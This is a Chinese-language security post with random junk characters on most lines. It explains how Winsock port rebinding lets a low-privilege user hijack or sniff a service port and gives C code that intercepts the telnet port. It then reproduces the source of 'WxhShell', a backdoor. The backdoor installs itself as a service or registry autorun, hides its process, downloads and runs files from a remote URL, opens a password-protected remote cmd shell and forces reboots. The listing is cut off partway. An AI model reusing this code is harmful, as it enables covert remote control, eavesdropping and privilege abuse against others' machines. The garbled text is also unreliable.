在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
'_n{+eR74 s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
6'Sc=;;: B;8YX>r saddr.sin_family = AF_INET;
tUmI#.v b8J\Lm|J saddr.sin_addr.s_addr = htonl(INADDR_ANY);
`>fN?He @= c{GAj bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
?lxI&
h eiZv|?^0 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
auP:r EX>|+zYL 这意味着什么?意味着可以进行如下的攻击:
bOCdf"!g dXh@E7 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
iSxxy1R 'JEZ;9} 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
4\q7.X+^ AWLKve_ 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
%r5&CUE5? FhB^E$r% 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
Vgs( feGs s,^?|Eo;0 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
O0xL;@rBe x5m
.MQ J 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
r^P}xGGK SVp]}!jI 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
0k5Zl? xPh%?j?*v #include
+G&h #include
E{r_CR+8 #include
,_T,B'a: #include
A.vcE DWORD WINAPI ClientThread(LPVOID lpParam);
{KL<Hx2M int main()
+1p>:cih {
0D>~uNcT} WORD wVersionRequested;
}H{{ @RU DWORD ret;
1vu4}%nD WSADATA wsaData;
8\8uXOS BOOL val;
gQ
h0-Dnw SOCKADDR_IN saddr;
]Bs ? SOCKADDR_IN scaddr;
5;V#Z@S int err;
$*%Ml+H- SOCKET s;
uLb-
NxQ- SOCKET sc;
dUn8Xqj1 int caddsize;
d@"eWvnlZ HANDLE mt;
-!MDYj +U DWORD tid;
w2~(/RgO wVersionRequested = MAKEWORD( 2, 2 );
o lNL|WJ`w err = WSAStartup( wVersionRequested, &wsaData );
`h S<F"
j if ( err != 0 ) {
8N(bLGUG printf("error!WSAStartup failed!\n");
*|Re,cY return -1;
~0fT*lp }
UhY
)rezh saddr.sin_family = AF_INET;
3WJ> T1we v?<x"XKR //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
##u+[ ! xP'IyABx saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
7F`QN18>( saddr.sin_port = htons(23);
7&klX if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
K 3&MR=#^ {
b6S86> printf("error!socket failed!\n");
%kJ:{J+w] return -1;
j&fr4t3 }
!{s$V2_ val = TRUE;
ue/6DwUv //SO_REUSEADDR选项就是可以实现端口重绑定的
;FZ\PxN if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
+M@G 8l {
m[oe$yH printf("error!setsockopt failed!\n");
_89
_*t( return -1;
SlZL%C; }
`+B+RQl}[ //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
9;Wz;p //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
|i?AtOt@f //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
p`1d'n[ |gxU;"2`5~ if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
{L$b$u$7: {
W\U zw,vI ret=GetLastError();
Oe$cM=Yf printf("error!bind failed!\n");
}#<Sq57n return -1;
;y6Jo }
5vbnO]8 listen(s,2);
]02 l!" while(1)
1y0.tdI( {
2I ?HBz1v caddsize = sizeof(scaddr);
' QT(TF> //接受连接请求
=JO|m5z8> sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
4g\a$7r
if(sc!=INVALID_SOCKET)
U]hQ#a+ {
Ffj:xZ9rk mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
r=L9x/r if(mt==NULL)
Q(k$HP {
wc bs-arH printf("Thread Creat Failed!\n");
/GM-#q
a break;
2y_rsu\ }
J~gfMp. }
f`A CloseHandle(mt);
T,7Y7MzF }
lu(G3T8 closesocket(s);
G:WMocyXI' WSACleanup();
]N=C%#ki! return 0;
`yYgL@Zt }
Oku4EJFJ DWORD WINAPI ClientThread(LPVOID lpParam)
m3_e]v3{o {
GeHDc[7 SOCKET ss = (SOCKET)lpParam;
>+vWtO2 SOCKET sc;
?]9uHrdsN} unsigned char buf[4096];
.[1A SOCKADDR_IN saddr;
Q=PaTh
long num;
7U.g4x|< DWORD val;
N%r}0 DWORD ret;
7=QV ^G //如果是隐藏端口应用的话,可以在此处加一些判断
D<++6HN //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
Mh+'f 93 saddr.sin_family = AF_INET;
>j`*-(`2fa saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
0^E!P> saddr.sin_port = htons(23);
:WA o{|& if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
{ tR=D_5 {
"E''ZBLO~ printf("error!socket failed!\n");
&2xYG{Z return -1;
Jh466;
E }
!+hX$_RT val = 100;
VpVw:Rh> if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
huKz["]z[ {
hLm9"N'Pf ret = GetLastError();
B. P64"w return -1;
"BFW&<1 }
'|XP}V0I if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
X2@o"xU {
$}KYpSV ret = GetLastError();
@{CpC return -1;
:>3&"T. }
U1q$B32 if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
+:'Po.{" {
oC7#6W:@w printf("error!socket connect failed!\n");
_ZS<zQ' closesocket(sc);
t9`NCng
5 closesocket(ss);
dhVwS$O ) return -1;
<}mT[;:" }
1MahFeQ[ while(1)
8OFrW.>[ {
ZcWl{e4 //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
Y}?@Pm drz //如果是嗅探内容的话,可以再此处进行内容分析和记录
n/|/Womr //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
epG;=\f}m` num = recv(ss,buf,4096,0);
R3@iN& if(num>0)
^U`q1Pg5 send(sc,buf,num,0);
<=7)t. else if(num==0)
~IqT> break;
njq-iU num = recv(sc,buf,4096,0);
&pba~X.u if(num>0)
2(c#m*Q!b send(ss,buf,num,0);
i@I %$!cB else if(num==0)
{VNeh break;
S}<
<jI-z }
#TSM#Uqe closesocket(ss);
a<o0B{7{BM closesocket(sc);
y]CJOC)/K return 0 ;
M^[jA](a }
;<][upn dY|jV}%T hqds T ==========================================================
_x'StD <QkfvK]Q 下边附上一个代码,,WXhSHELL
|n|2)hC (gmB$pwS ==========================================================
eS.]@E-T A"k,T7B #include "stdafx.h"
j?mJ1J5 W
,U'hk% #include <stdio.h>
NkJ^ecn%) #include <string.h>
$I/p 6 #include <windows.h>
Y$Ke{6 4 #include <winsock2.h>
/vV 0$vg #include <winsvc.h>
.Lp-'!i #include <urlmon.h>
e=R}
4` .cabw+&7 #pragma comment (lib, "Ws2_32.lib")
<5#e.w #pragma comment (lib, "urlmon.lib")
v6n(<0: T*ic?! #define MAX_USER 100 // 最大客户端连接数
c"$_V[m #define BUF_SOCK 200 // sock buffer
A+l" #define KEY_BUFF 255 // 输入 buffer
s-ou ;S3s A^Zs?<C- #define REBOOT 0 // 重启
POG5x #define SHUTDOWN 1 // 关机
+OH."4Z V&nN/CF #define DEF_PORT 5000 // 监听端口
fE:2MW!)* [5 V #define REG_LEN 16 // 注册表键长度
-s 1VlS/ #define SVC_LEN 80 // NT服务名长度
d{m0 uX56 Fi`:G} // 从dll定义API
W!(Q_B typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
Xm-63U`w5 typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
zKutx6=aj typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
hf-S6PEsM typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
**"P A8 `WT7w']NT // wxhshell配置信息
i*tj@5MY- struct WSCFG {
hJ@nW5CI int ws_port; // 监听端口
^v'Lu!\f char ws_passstr[REG_LEN]; // 口令
{8MF!CG] int ws_autoins; // 安装标记, 1=yes 0=no
~h/U ;Da char ws_regname[REG_LEN]; // 注册表键名
S=2,jPX2r char ws_svcname[REG_LEN]; // 服务名
EGt)tI& char ws_svcdisp[SVC_LEN]; // 服务显示名
8xX{y# char ws_svcdesc[SVC_LEN]; // 服务描述信息
E*l"uV char ws_passmsg[SVC_LEN]; // 密码输入提示信息
<*+MBF int ws_downexe; // 下载执行标记, 1=yes 0=no
ivq4/Y]-X char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
%'HUC>ChN char ws_filenam[SVC_LEN]; // 下载后保存的文件名
(`p(c;"*C! /$=^0v+ };
zyr6Tv61U ZZ(@:F // default Wxhshell configuration
24Fxx9g struct WSCFG wscfg={DEF_PORT,
*8p</Q "xuhuanlingzhe",
GM/1ufZH 1,
iiTUhO ) "Wxhshell",
e'Pa@]VaC "Wxhshell",
Cw}\t!*! "WxhShell Service",
\);rOqh "Wrsky Windows CmdShell Service",
X@)lPr$a "Please Input Your Password: ",
W#[!8d35$ 1,
1rEP)66N "
http://www.wrsky.com/wxhshell.exe",
1 W u "Wxhshell.exe"
SMyg=B\x?7 };
1dcy+ !> Ml Z`g,{ // 消息定义模块
Z:_y,( 1Q char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
DbN'b(+ char *msg_ws_prompt="\n\r? for help\n\r#>";
Q [{vU char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
F*4+7$E0B char *msg_ws_ext="\n\rExit.";
E'G>'cW;x char *msg_ws_end="\n\rQuit.";
=-qsz^^a- char *msg_ws_boot="\n\rReboot...";
v`&Z.9!Tz^ char *msg_ws_poff="\n\rShutdown...";
ob{pQx7 char *msg_ws_down="\n\rSave to ";
^XM;D/Gp~ ]`prDw' char *msg_ws_err="\n\rErr!";
m
C Ge*V} char *msg_ws_ok="\n\rOK!";
0 *\=Q$Yy @2gMtf?< char ExeFile[MAX_PATH];
'}u31V"SS int nUser = 0;
[P/gM3*' HANDLE handles[MAX_USER];
v(i Uo&Ge int OsIsNt;
sfa'\6=O qpl5n'qHUc SERVICE_STATUS serviceStatus;
p2G8Qls SERVICE_STATUS_HANDLE hServiceStatusHandle;
.D.Rn/ l5FQ!>IM // 函数声明
umzYJ>2t int Install(void);
Pcs@`&}7r int Uninstall(void);
Q-v[O4y~ int DownloadFile(char *sURL, SOCKET wsh);
lND[anB! int Boot(int flag);
+b+sQ<w?. void HideProc(void);
D;]% int GetOsVer(void);
7&4,',0VL int Wxhshell(SOCKET wsl);
L|LTsRIq void TalkWithClient(void *cs);
arZIe+KW int CmdShell(SOCKET sock);
<Xx\F56zp int StartFromService(void);
I8?[@kg5b' int StartWxhshell(LPSTR lpCmdLine);
@nu/0+8h{ TXcKuo= VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
l'QR2r7&. VOID WINAPI NTServiceHandler( DWORD fdwControl );
TeJ
`sJ iC]lO // 数据结构和表定义
w>uZ$/ SERVICE_TABLE_ENTRY DispatchTable[] =
>{a,]q* {
p( *3U[1 {wscfg.ws_svcname, NTServiceMain},
Q8?D}h {NULL, NULL}
EcIQ20Z_- };
\]xYV}(FO h>:RCpC // 自我安装
"zbE int Install(void)
5>)jNtZ {
/ JB4 #i7 char svExeFile[MAX_PATH];
jm\#($gl= HKEY key;
sE6J:m( strcpy(svExeFile,ExeFile);
\aIy68rH, %%6('wi // 如果是win9x系统,修改注册表设为自启动
c'";36y if(!OsIsNt) {
dH|^\IQ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
e-9unnk RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
C`wI6! RegCloseKey(key);
e6lOmgHn5 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
K"7;Y#1g RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
K/`RZ! RegCloseKey(key);
z :v, Vu return 0;
vLv@ Mo }
Q/)ok$A& }
f)Q]{ cb6 }
'hO;sL else {
`aL|qyrq# CDj Dhs // 如果是NT以上系统,安装为系统服务
4rG 7\ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
.To:tN# if (schSCManager!=0)
<C;>$kX {
sdYj'e:N SC_HANDLE schService = CreateService
e oSM@Isu (
|SKG4_wGe schSCManager,
z \>X[yNpA wscfg.ws_svcname,
x9l0UD*+g wscfg.ws_svcdisp,
mo[<4Uks SERVICE_ALL_ACCESS,
2F@)nh SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
xc.D!Iav SERVICE_AUTO_START,
9ox|.68q SERVICE_ERROR_NORMAL,
'%C.([ svExeFile,
4UjE*Aq NULL,
g)qnjeSs] NULL,
^85n9a?8 NULL,
8zDH<Gb NULL,
{$YD-bqY NULL
ih |Ky+ ! );
e=sJMzm~ if (schService!=0)
F*t_lN5{ {
Xj~EVD CloseServiceHandle(schService);
3DC%I79 CloseServiceHandle(schSCManager);
Qk.Q9@3W strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
puN=OX}C strcat(svExeFile,wscfg.ws_svcname);
M5WtGIV if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
/1~|jmi( RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
`(/saq* RegCloseKey(key);
(0#F]""\e return 0;
=4<S8Cp }
X|E+K }
rw[ {@|)'z CloseServiceHandle(schSCManager);
A]Tcj^# }
,GkW. vEU }
An #Hb= s%[GQQ-N return 1;
UXPegK! }
Wk#h,p3 t-*|Hfp*^ // 自我卸载
?4[Oh/]R int Uninstall(void)
SiqX1P {
U?mf^'RE HKEY key;
a,*p_:~i %m{.l4/!O if(!OsIsNt) {
Qy5Os?9" if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
D?yE$_3>c RegDeleteValue(key,wscfg.ws_regname);
w zqd
g RegCloseKey(key);
Zxc7nLKF~ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
fA_%8CjI RegDeleteValue(key,wscfg.ws_regname);
!\-4gr?`! RegCloseKey(key);
"WbVCT'i return 0;
MziZN^( }
Ft;u\KT }
^@`e }
/ggkb8<3 else {
R'I_xjC l^ 0_>R SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
n(1wdl Ep if (schSCManager!=0)
tpa^k {
zn
V1kqGU SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
!ASoXQRz if (schService!=0)
ZEj!jWP2m {
aM{@1mBm if(DeleteService(schService)!=0) {
w3=)S\ CloseServiceHandle(schService);
8wX+ZL:9 CloseServiceHandle(schSCManager);
@q+cmJKv return 0;
k%]DT.cE }
97Zk
P=Cq CloseServiceHandle(schService);
ESD<8OR }
6Lg!Lodu CloseServiceHandle(schSCManager);
@A2/@]H Bm }
)WVItqQKV }
VFl 1 f F?b'L
JS return 1;
"7kge z#Y }
mQJ4;BJw )X~Pr?52? // 从指定url下载文件
$N;"}Gz int DownloadFile(char *sURL, SOCKET wsh)
>*`>0Q4y {
?dsf@\ HRESULT hr;
3>Q@r>c char seps[]= "/";
Km)X_}| char *token;
4=Tpi` char *file;
.pM
&jni Y char myURL[MAX_PATH];
Z
7s;F}= char myFILE[MAX_PATH];
3@^>#U
hNgpp- strcpy(myURL,sURL);
&Y,Q>bu token=strtok(myURL,seps);
wJ+U[a while(token!=NULL)
^\M
dl {
g7xbyBo7 file=token;
+/y{^}b/ token=strtok(NULL,seps);
\6 \hnP }
S3uyn78hI VQ`,#`wV GetCurrentDirectory(MAX_PATH,myFILE);
/Hv*K&}M strcat(myFILE, "\\");
,b<9?PM
strcat(myFILE, file);
of8mwnZR send(wsh,myFILE,strlen(myFILE),0);
<ROpuY\!l send(wsh,"...",3,0);
hZAG (Z hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
f49"pTw7 if(hr==S_OK)
`$S^E != return 0;
+D:83h{ else
99^AT*ByY return 1;
2)wAFO6u lPY@{1W }
,b4):{ %p0b{P j_p // 系统电源模块
I"ca+4] int Boot(int flag)
=op`fn% {
tC&fAE:S HANDLE hToken;
U;\S(s} TOKEN_PRIVILEGES tkp;
m!<X8d[bD xC-BqVJ%_T if(OsIsNt) {
XwcMt r* OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
3 brb*gI_b LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
bH*@,EE tkp.PrivilegeCount = 1;
42fprt tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
Q[M (Wqg AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
(lb6]MtTHY if(flag==REBOOT) {
R6`*4zS if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
0$tjNye return 0;
qAqoZMpI|; }
R'zu"I else {
\e<mSR if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
T^~)jpkw return 0;
<eY%sFq, }
75ZH }
cVp[ Z#B else {
*4t-e0]j@w if(flag==REBOOT) {
wW-A b if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
*=Doe2(!C return 0;
"Y7+{ }
{AOG"T&< else {
f'&GFL=c if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
YMT8p\#rp return 0;
{>@QJlE0 }
U^[< }
Va7c#P? u?F (1iN= return 1;
=p]mX)I_ }
)!e3.C|V1W 9 ~~qAoD // win9x进程隐藏模块
XYe~G@Q Z void HideProc(void)
,yICNtP {
/}Yqf`CZy Hle\ON HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
:r&iMb:Ra if ( hKernel != NULL )
vQ 4}WtvA {
|zq4* 5 pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
*(G&B\ ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
4qt+uNe! FreeLibrary(hKernel);
IZ*}idlkn/ }
#$FrFU;ZR _#!U"hkH return;
7R,qDp S }
FEF"\O|Q L}$z/jo // 获取操作系统版本
+{.780| int GetOsVer(void)
}X]\VSF{ {
I5qM.@%zB OSVERSIONINFO winfo;
86%%n?"} winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
Yt+h2ft! GetVersionEx(&winfo);
9~c~E/4! if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
1"?]= j: return 1;
:Hk_8J else
rfs (# return 0;
GP+2/D }
TnNWO+kg HY ;9?KJ' // 客户端句柄模块
CbOCk:,g5 int Wxhshell(SOCKET wsl)
Stxp3\jEn {
q\Rq!7( SOCKET wsh;
#{$1z;i?f struct sockaddr_in client;
sw$2d DWORD myID;
H\E7o"m %X>FVlPm while(nUser<MAX_USER)
w2{g,A| {
D9BQID$R int nSize=sizeof(client);
R_1qn wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
+~Tu0?{Z 0 if(wsh==INVALID_SOCKET) return 1;
ZIpD{ >/ q8>t!rh<R handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
@TzvT3\q if(handles[nUser]==0)
#6=MKpR closesocket(wsh);
XWUP= D~ else
X*F_<0RC1 nUser++;
cJDd0(tD! }
M-J<n>hl WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
sb^mLH] 3 l!?yu]Yon return 0;
!`&\Lx_ }
A1),el-^5 T#EFXHPr // 关闭 socket
#y1Bx, void CloseIt(SOCKET wsh)
#DFp[\)1 {
V}"
g~= closesocket(wsh);
yK1ie nUser--;
[A5W+pDm ExitThread(0);
xJc$NV-JzK }
pu9^e4B9 7Xg?U'X // 客户端请求句柄
WC*=rWRxF void TalkWithClient(void *cs)
rrqQCn9 {
Wd8Ru/ Gb2L } SOCKET wsh=(SOCKET)cs;
4^*,jS-9g} char pwd[SVC_LEN];
n2f6p<8A char cmd[KEY_BUFF];
#HAC*n char chr[1];
<
Ek/8x int i,j;
HYCuK48F[_ qMP1k7uG) while (nUser < MAX_USER) {
G.\l qYrXU 6w|J-{2 if(wscfg.ws_passstr) {
kWhr1wR1 if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
#%$28sxB //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
wL}l`fRB //ZeroMemory(pwd,KEY_BUFF);
IP3E9z_L i=0;
XNehPZYS while(i<SVC_LEN) {
GZ3 ]N mchJmZ{A // 设置超时
J?&l*_m;t fd_set FdRead;
Sk}{E@ struct timeval TimeOut;
"OmD@
EMT FD_ZERO(&FdRead);
MHi8E9_O FD_SET(wsh,&FdRead);
)Si2u5 TimeOut.tv_sec=8;
;H'gT+t<c TimeOut.tv_usec=0;
z6*<V5<7 int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
3jZ6kfj if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
Y32 "N[yw R=]d%L8 if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
F;q#& pwd
=chr[0]; Kibr ]w
if(chr[0]==0xd || chr[0]==0xa) { Hfym30
pwd=0; N&,]^>^u
break; fv!?Ga(
} -/P\"c
i++; .}B(&*9,v
} X4|4QgY
x =q;O+7]
// 如果是非法用户,关闭 socket ~" i0x
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); U{@5*4
} T/1gI9X
rl08R
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); pkgjTXR2b
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); lIRlMLuG
|7k_N|E
while(1) { =elpH^N
ZcJ\ZbE|
ZeroMemory(cmd,KEY_BUFF); hk[
%a$Y
Oz:
*LZ
// 自动支持客户端 telnet标准 KNLnn;l
j=0; _hu")os
while(j<KEY_BUFF) { TZR)C P5
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Az;t"
cmd[j]=chr[0]; @p 6<Lw_E
if(chr[0]==0xa || chr[0]==0xd) { kM8{Cw
cmd[j]=0; v\tEVhm
break; Z;/$niY
} EJ@p-}I!
j++; 4d b(<h
} "ZM4F?x
-i yyn^|
// 下载文件 pi<TFe@eG
if(strstr(cmd,"http://")) { anMF-x4/*q
send(wsh,msg_ws_down,strlen(msg_ws_down),0); j)C,%Ol
if(DownloadFile(cmd,wsh)) H,nec<Jp
send(wsh,msg_ws_err,strlen(msg_ws_err),0); VXLT^iX
else d?`ny#,GB
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); &|3
$!S
} uN([*'0Cg
else { Qx;\USv
U4aU}1RKz
switch(cmd[0]) { /='. 4v
SCvVt
// 帮助 N ,8/Y
case '?': { =U%Rvm
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); -K9c@?
break; ( +pLA"xq
} n!p<A.O7@
// 安装 AP77a*@8
case 'i': { {M-YHX>*;g
if(Install()) n8*;lK8
send(wsh,msg_ws_err,strlen(msg_ws_err),0); "j;4
k.`h
else
)M6w5g
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); $YN6<5R)
break; ),G= s Oo
} #wL
// 卸载 'EDda
case 'r': { h$4Hw+Yxs]
if(Uninstall()) 5?hw !
send(wsh,msg_ws_err,strlen(msg_ws_err),0); %?e& WLS
else N(I&
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); %3NqSiMs
break; <B9C*M"4%
} *s9C!wYMZ
// 显示 wxhshell 所在路径 CC#;c1t
case 'p': {
d
,4]VE
char svExeFile[MAX_PATH]; &?mD$Eo
strcpy(svExeFile,"\n\r"); Tyvtmx M
strcat(svExeFile,ExeFile); ?c[*:N(
send(wsh,svExeFile,strlen(svExeFile),0); o.0ci+z@
break; ='`/BY(m[
} v?KC%
// 重启 M$Zcn# A
case 'b': { D6>HN[D"
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); T:5fc2Ngv
if(Boot(REBOOT)) Z.92y
send(wsh,msg_ws_err,strlen(msg_ws_err),0); UrqRx?#
else { +=O5YR!{
closesocket(wsh); 7;KwLT 9
ExitThread(0); anXc|
} T6 '`l?H`;
break; bbrXgQ`s+w
} c-B
cA
// 关机 9 FB19
case 'd': { =EHUR'
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); u(fm@+$^
if(Boot(SHUTDOWN)) G1 vNt7
send(wsh,msg_ws_err,strlen(msg_ws_err),0); spt6]"Ni
else { KXx32 b,~
closesocket(wsh); e" St_z(
ExitThread(0); j'A_'g'^
} dBz/7&Q
break; 7=;R& mqC
} D9
g#Ff6
// 获取shell :]\([Q+a
case 's': { eEuvl`&
CmdShell(wsh); Vh_P/C+
closesocket(wsh); i\,-oO
ExitThread(0); 7Zlw^'q$:L
break; M7pOLP_1jB
} WA+iYLx@H
// 退出 ,yiX# ;j
case 'x': { Mu+0<>
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ~ _/(t'9
CloseIt(wsh); Qk:Y2mL
break; 8fl`r~bqZ
} ZrsBm_Rx
// 离开
/;oX)]W
case 'q': { "N`[r iq{
send(wsh,msg_ws_end,strlen(msg_ws_end),0); kqFP)!37
closesocket(wsh); '<"s \,
WSACleanup(); G3Z)Z)N
exit(1); %J+E/
break; KrQ1GepJ
} )h7<?@wv&
} e )d`pQ6
} <g$~1fa
!2ZF(@C/
// 提示信息 ;U-jO &
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); %nf6%@s
} 1`=nWy='
} k$blEa4
Ff)8Q.m
return; i<#QW'R (
} .%xn&3
A1O'|7X
// shell模块句柄 >T^;MS
int CmdShell(SOCKET sock) =l+yA>t|
{ [_k1jHr48N
STARTUPINFO si; \NPmym_6J
ZeroMemory(&si,sizeof(si)); .P8&5i)'P,
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; fp`;U_-&0
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ;ub;lh 3
PROCESS_INFORMATION ProcessInfo; +S o4rA*9
char cmdline[]="cmd"; Ayxkv)%:@)
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); uXn1
'K<'2
return 0; !|^|,"A)
} b3=rG(0f
8A##\j)
// 自身启动模式 eA2@Nkw~)
int StartFromService(void) %)1y AdG
8
{ CsGx@\jN
typedef struct >;e~ WF>+K
{ Kp%2k^U
DWORD ExitStatus; G<65H+)M\
